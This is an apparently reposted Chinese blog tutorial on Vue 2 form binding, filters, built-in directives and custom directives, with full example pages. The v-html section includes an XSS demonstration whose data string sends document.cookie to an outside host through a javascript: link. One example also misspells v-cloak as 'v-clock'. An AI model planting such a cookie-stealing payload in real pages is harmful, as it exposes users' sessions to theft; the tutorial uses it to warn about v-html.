Vue 过滤器 常用相关指令 自定义指令函数式和对象式以及它们的注意事项

Posted IT_Holmes

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Vue 过滤器 常用相关指令 自定义指令函数式和对象式以及它们的注意事项相关的知识,希望对你有一定的参考价值。

1. 收集表单数据的各个注意事项

在这提一句,在定义的checkbox中有一个属性为:checked,勾选了为true,没有勾选为false。


需要记住的几点:

1.@submit表单form一旦提交就会触发demo中的内容 ,提交后页面内容会自动跳转消失,这里我们可以用prevent来解决
2.label的for可以与input的id进行关联,点击账号就可以切换到input光标上面。
3.trim可以去除多余的空格,但是字符串中间的空格是无法去除的。
4.这里我们可以直接将input的type定义为number,达到输入数字的效果。在Vue提供给的v-model.number,在data中直接写成数字形式。
5.input设置为radio和name来设置单选和关联内容,注意v-model绑定的是value值,这里设置的是radio没有输入框,因此定义value值来传给data
6.这里如果我们不定义value属性,这里默认是得到的checked值,此外data中的hobby值必须是数组,不能定义字符串!!
7.我们在这定义v-model.lazy可以一口气输入完成内容,失去光标后,直接提交给data,而不是时时刻刻提交
8.这里的checkbox与上面不同,直接接受checked的值true或者false就可以了

上面内容配合下面源码定义:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js"></script>
    <title>Document</title>
</head>
<body>
    <div id="root">
        <!-- @submit表单form一旦提交就会触发demo中的内容 ,提交后页面内容会自动跳转消失,这里我们可以用prevent来解决-->
        <form @submit.prevent="demo">
            <!-- label的for可以与input的id进行关联,点击账号就可以切换到input光标上面。 -->
            <!-- trim可以去除多余的空格,但是字符串中间的空格是无法去除的。 -->
            <label for="demo">账号:</label><input type="text" id="demo" v-model.trim="userInfo.account"><br>
            <label for="demo2">密码:</label><input type="password" id="demo2" v-model="userInfo.password"><br>
            <!-- 这里我们可以直接将input的type定义为number,达到输入数字的效果。 -->
            <!-- 在Vue提供给的v-model.number,在data中直接写成数字形式。 -->
            年龄:<input type="number" v-model.number="userInfo.age">
            <br>
            性别:
            <!-- input设置为radio和name来设置单选和关联内容 -->
            <!-- 注意v-model绑定的是value值,这里设置的是radio没有输入框,因此定义value值来传给data -->
            男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
            女<input type="radio" name="sex" v-model="userInfo.sex" value="female">
            <br>
            爱好:
            <!-- 这里如果我们不定义value属性,这里默认是得到的checked值,此外data中的hobby值必须是数组,不能定义字符串!!-->
            学习<input type="checkbox" v-model="userInfo.hobby" value="学习">
            打篮球<input type="checkbox" v-model="userInfo.hobby" value="打篮球">
            打台球<input type="checkbox" v-model="userInfo.hobby" value="打台球">
            <br>
            所属校区
            <select v-model="userInfo.city">
                <option value="">请选择小区</option>
                <option value="beijing">北京</option>
                <option value="shanghai">上海</option>
                <option value="shengzheng">深圳</option>
                <option value="guangdong">广东</option>
            </select>
            <br>
            其他信息:
            <!-- 我们在这定义v-model.lazy可以一口气输入完成内容,失去光标后,直接提交给data,而不是时时刻刻提交 -->
            <textarea v-model.lazy="userInfo.others"></textarea>
            <br>
            <!-- 这里的checkbox与上面不同,直接接受checked的值true或者false就可以了 -->
            <input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="#">《用户协议》</a> 
            <button>提交</button>
        </form>
    </div>
    <script>
        Vue.config.productionTip = false;
        const vm = new Vue({
            el:"#root",
            data:{
                userInfo:{
                    account:"",
                    password:"",
                    age:"",
                    sex:"",
                    hobby:[],
                    city:"beijing", //定义默认的话,可以直接写value的值.
                    others:"",
                    agree:""
                }
            },
            methods: {
                demo(){
                    alert("数据已经提交");
                    console.log(JSON.stringify(this.userInfo));

                }
            },
        });
    </script>
</body>
</html>

总结:

2. Vue的过滤器

过滤器分为局部过滤器和全局过滤器。

过滤器可以应用到插值语法和v-bind上面,不可以用到v-model上面。

源码:
一定将注释全部熟知。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js"></script>
    <script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.10.6/dayjs.min.js"></script>
    <title>Document</title>
</head>
<body>
    <div id="root">

        <h2>显示格式化后的时间</h2>

        <!-- 计算属性实现 -->
        <h3>现在是:{{fmtTime}}</h3>

        <!-- methods实现 -->
        <h3>现在是:{{getFmtTime()}}</h3>

        <!-- 过滤器实现 -->
        <!-- 默认没有()也是可以调用filters中的timeFormater,传递的参数只有time,如果这里没有定义str格式,它会用通用的格式,如:2021-08-09T19:05:11+08:00 -->
        <h3>现在是:{{time | timeFormater}}</h3>

        <!-- 过滤器的传参实现 -->
        <!-- 这里其实传递了两个参数给filters中的timeFormater,一个是time传给了value,再就是后面的YYYY年-MM月-DD日传给了str -->
        <!-- 还可以在这里通过 | 管道符,来链接第二个filters中的函数。就像是个串联一样,一层一层下来。 -->
        <h3>现在是:{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
        
        <!-- 对于v-bind过滤器是可以使用的。 -->
        <h3 :x="msg | mySlice">你好世界</h3>
    </div>


    <div id="root2">
        <h2>{{msg | mySlice}}</h2>
    </div>
</body>
<script>
    Vue.config.productionTip = false;
    //这里定义的mySlice就是全局的。注意这里是filter,不是filters。
    Vue.filter('mySlice',function(value){
        return value.slice(0,4);
    })


    new Vue({
        el:"#root",
        data:{
            time:1628507111097 //时间戳
           ,msg:"你好啊世界。" 
        },
        computed:{
            //这里我们调用cdn的dayjs内容,来定义格式。
            fmtTime(){
                return dayjs(this.time).format('YYYY年-MM月-DD日 HH:mm:ss');
            }
        },
        methods:{
            getFmtTime(){
                return dayjs(this.time).format('YYYY年-MM月-DD日 HH:mm:ss');
            }
        },
        //定义局部的过滤器
        //下面就是定义的过滤器,过滤器的作用就是对得到的内容进行加工。
        filters:{
            //在这我们定了str格式,也就是默认给他定义了格式,如果前面没有定义str参数,默认定义就是这种格式。
            timeFormater(value,str="YYYY年-MM月-DD日 HH:mm:ss"){
                // console.log('@'+value);
                return dayjs(value).format(str);
            },
            // 这里定义的mySlice是局部的,仅仅对当前Vue对象有用。
            //mySlice(value){
            //     // 这里截取年月日的年份,也就是yyyy
            //     return value.slice(0,4);
            // }

        }
    });

    new Vue({
        el:"#root2",
        data:{
            msg:'hello,zhangsan'
        }
    });
</script>
</html>

总结

3. Vue 相关指令

3.1 已经学过的指令

v-bind指令用于设置HTML属性:v-bind:href 缩写为 :href
v-on 指令用于绑定HTML事件 :v-on:click 缩写为 @click

3.2 v-text 指令

下面介绍一下v-text指令:
v-text属性会替换掉原先的文本内容,并且不会解析标签完完全全当成文本解析。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js"></script>
    <title>Document</title>
</head>
<body>
    <div id="root">
        <div>{{name}}</div>

        <!-- v-text属性会替换掉原先的文本内容,并且不会解析标签完完全全当成文本解析。 -->
        <div v-text="name">111</div>
        <div v-text="str"></div>
    </div>

    <script>
        Vue.config.productionTip = false;
         
        new Vue({
            el:"#root",
            data:{
                name:"张三",
                str:"<h3>你好啊!</h3>"
            }
        });
    </script>
</body>
</html>

3.3 v-html指令

3.3.1 cookie 工作原理

关于cookie,在登录时,服务器会向浏览器发送cookies,作为判断标识。


我们可以使用Cookie.Editor插件来将cookie导入或者导出。此插件需要去谷歌商店去下载。

我们在浏览器控制台使用:document.cookie,来查看网页目前的cookie。

3.3.2 v-html 安全性(类似XSS攻击)

v-html的安全性问题:(类似XSS攻击)

源码:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js"></script>
    <title>Document</title>
</head>
<body>
    <div id="root">
        <div>{{name}}</div>
        <div v-html="str"></div>
        <div v-html="str2"></div>
        
    </div>

    <script>
        Vue.config.productionTip = false;
         
        new Vue({
            el:"#root",
            data:{
                name:"张三",
                str:"<h3>你好啊!</h3>",
                //这里我们就模拟了一个通过参数获得当前页面的cookie内容,这样的一个安全性问题。
                str2:"<a href=javascript:location.href='https://www.baidu.com?'+document.cookie>测试</a>"
            }
        });
    </script>
</body>

3.4 v-clock指令

v-clock指令配合CSS可以解决js阻塞问题。

v-cloak属性,一旦被Vue实例对象接管,该属性会被自动删除。

通过这些机制,我们就可以通过属性选择器,来解决js发生阻塞停止了几秒,这时页面也不会显示出未完成的代码块。

总体上,当你的网速过慢时,v-clock指令不会让还没有解析的代码,跑到页面上去。

源码:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js"></script>
    <title>Document</title>
    <style>
        /* [属性选择器] */
        [v-cloak]{
            display: none;
        }
    </style>
</head>
<body>
    <div id="root">
        <div v-clock>{{name}}</div>      
    </div>
    <!-- <script>这里假设一下引入外部js,如果发生阻塞等待5秒钟,在页面也不会显示页面。</script> -->
</body>

<script>
    Vue.config.productionTip = false;
     
    new Vue({
        el:"#root",
        data:{
            name:"张三",
        }
    });
</script>
</html>

总结

3.5 v-once 指令

v-once指令就是在初次动态渲染后,就视为静态内容。

源码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js"></script>
    <title>Document</title>
</head>
<body>
    <div id="root">
        <h2 v-once>初始化值:{{n}}</h2>
        <h2>当前的n值为:{{n}}</h2>
        <button @click="n++">点我加1</button>
    </div>

    <script>
        Vue.config.productionTip = false;
         
        new Vue({
            el:"#root",
            data:{
                n:1
            }
        });
    </script>
</body>
</html>

3.6 v-pre指令

v-pre指令是一个提高Vue编译过程的指令,有一些代码压根就没有应用到Vue中,我们就可以给他设置v-pre指令,Vue解析时直接跳过,节约时间。

源码:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js"></script>
    <title>Document</title>
</head>
<body>
    <div id="root">
        <h2 v-pre>Vue其实很简单</h2>
        <h2>当前的n值为:{{n}}</h2>
        <button @click="n++">点我加1</button>
        <h2 v-pre>Vue其实很简单</h2>
        <h2 v-pre>Vue其实很简单</h2>
        <h2 v-pre>Vue其实很简单</h2>
    </div>

    <script>
        Vue.config.productionTip = false;
         
        new Vue({
            el:"#root",
            data:{
               n:1
            }
        });
    </script>
</body>
</html>

4. 自定义指令

4.1 判断一个元素是否为真实DOM

监测是否为真实DOM的两种方法:
第一种方法:console.dir(object)

//console.dir(object)作用就是打印出该对象的所有属性和属性值.
console.dir(element); //验证a,是否为真实DOM,打印出来的包含许多真实DOM的元素。

第二种方法:instanceof

// instanceof作用就是用于检测构造函数的 prototype 属性是否出现在某个实例对象的原型链上。
// HTMLElement 接口表示所有的 HTML 元素
console.log(element instanceof HTMLElement);

4.2 自定义指令(函数定义)

自定义指令,direction就有指令的意思。必须理解好element和binding的结构内容。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js"></script>
    <title>Document</title>
</head>
<body>
    <div id="root">
        <h2>当前的n值是<span v-text="n"></span></h2>
        <h2>放大十倍的n值是<span v-big="n"></span></h2>
        <button @click="n++">点我n++</button>
    </div>
    <script>
        Vue.config.productionTip = false;
        new Vue({
            el:"#root",
            data:{
                name:"没啥用",
                n:1
            },
            //自定义指令,direction就有指令的意思。
            directives:{

                //自定义指令什么时候会被调用?1. 指令与元素成功绑定时(一上来)。2. 指令所在的模板重新解析时,打个比方:如果我们在上面定义了name,我们修改name,照样会引起big的调用。
                big(element,binding){
                    //一定记住binding内部的结构。
                    console.log(element,binding);
                    // 监测是否为真实DOM的两种方法:
                    // 第一种:
                    // console.dir(object)作用就是打印出该对象的所有属性和属性值.
                    console.dir(element); //验证a,是否为真实DOM,打印出来的包含许多真实DOM的元素。
                
                    // 第二种:
                    // instanceof作用就是用于检测构造函数的 prototype 属性是否出现在某个实例对象的原型链上。
                    // HTMLElement 接口表示所有的 HTML 元素
                    console.log(element instanceof HTMLElement);
                    

                    element.innerText = binding.value * 10;
                }
            }
        });
    </script>
</body>
</html>

自定义指令什么时候会被调用?
1.指令与元素成功绑定时(一上来)。2. 指令所在的模板重新解析时,打个比方:如果我们在上面定义了name,我们修改name,照样会引起big的调用。

4.3 自定义指令(对象定义)

4.3.1 执行顺序一定不要混乱

input的autofocus:

autofocus 属性规定当页面加载时 input 元素应该自动获得焦点。

指定元素获取class元素的样式等等:

className 获取或设置指定元素的class属性的值。

源码:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <style>
        .demo{
            background-color: orange;
        }
    </style>
</head>
<body>
    <button id="btn">点我创建一个输入框</button>
    <script>
        const btn = document.getElementById('btn');
        btn.onclick = ()=>{
            const input = document.createElement('input');

            input.className = 'demo';
            input.value = 99;
            input.onclick = ()=>{alert(11)};

            document.body.appendChild(input);
            input.focus();

            input.parentElement.style.backgroundColor = 'skyblue';

            //一定注意一个顺序问题,不能胡乱放!!!
        }
    </script>
</body>
</html>

4.3.2 自定义指令(对象定义)

对象形式定义也是有简写和常规写法,一定注意对象中bind,inserted和update三个对象函数。

bind函数:当指令与元素成功绑定时(一上来),调用bind函数。
inserted函数:指令所在元素被插入页面时,调用inserted函数。
update函数:指令所在的模板重新解析时,调用update函数。

源码:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js"></script>
    <title>Document</title>
</head>
<body>
    <div id="root">
        <h2>当前的n值是<span v-text="n"></span></h2>
        <h2>放大十倍的n值是<span v-big="n"></span></h2>
        <button @click="n++">点我n++</button>
        <hr>
        <input type="text" v-fbind:value = "n">
    </div>
    <script>
        Vue.config.productionTip = false;
        const vm = new Vue({
            el:"#root",
            data:{
                name:"没啥用",
                n:1
            },


            //自定义指令,direction就有指令的意思。
            directives:{

                // 对象形式的directives自定义指令
                fbind:{
                    //三个函数都是固定的名称。

                    //bind函数,当指令与元素成功绑定时(一上来),调用bind函数。
                    bind(element,binding){ 
                        console.log("bind");
                        element.value = binding.value;
                    },
                    //指令所在元素被插入页面时,调用inserted函数。
                    inserted(element,binding){
                        console.log("inserted");
                        element.focus();
                    },
                    //指令所在的模板重新解析时,调用update函数。
                    update(element,binding){
                        element.value = binding.value;
                    }
                },

                //如果用了对象的简写形式,那么它仅仅定义了bind和update两个的内容,而且都一样。
                big(element,binding){
                    element.innerText = binding.value * 10;
                }
            }
        });
    </script>
</body>
</html>

其实,自定义指令就是在不同的时刻,可能干不同的事情执行不同的代码。

4.3.3 自定义的注意事项

对于多个单词的写法要用 - 来分开,例如我想定义v-bigNumber,正确写法为v-big-number。

前面标签定义好,函数内也是要注意写成字符串形式:


对于自定义指令directives这里有一个非常注意的点,在它里面定义的this指向的是Window全局,而不是Vue实例对象。

自定义指令也可以设置全局指令,Vue.directive(’ xxx ',{bind(),inserted(),update()});。

以上是关于Vue 过滤器 常用相关指令 自定义指令函数式和对象式以及它们的注意事项的主要内容,如果未能解决你的问题,请参考以下文章

Vue 常用特性:表单操作自定义指令计算属性侦听器过滤器生命周期

vue定义全局指令和局部指令

vue指令03---自动获取焦点(自定义指令)和过滤器的学习

表单修饰符自定义指令计算属性侦听器过滤器生命周期

表单修饰符自定义指令计算属性侦听器过滤器生命周期

8个非常实用的Vue自定义指令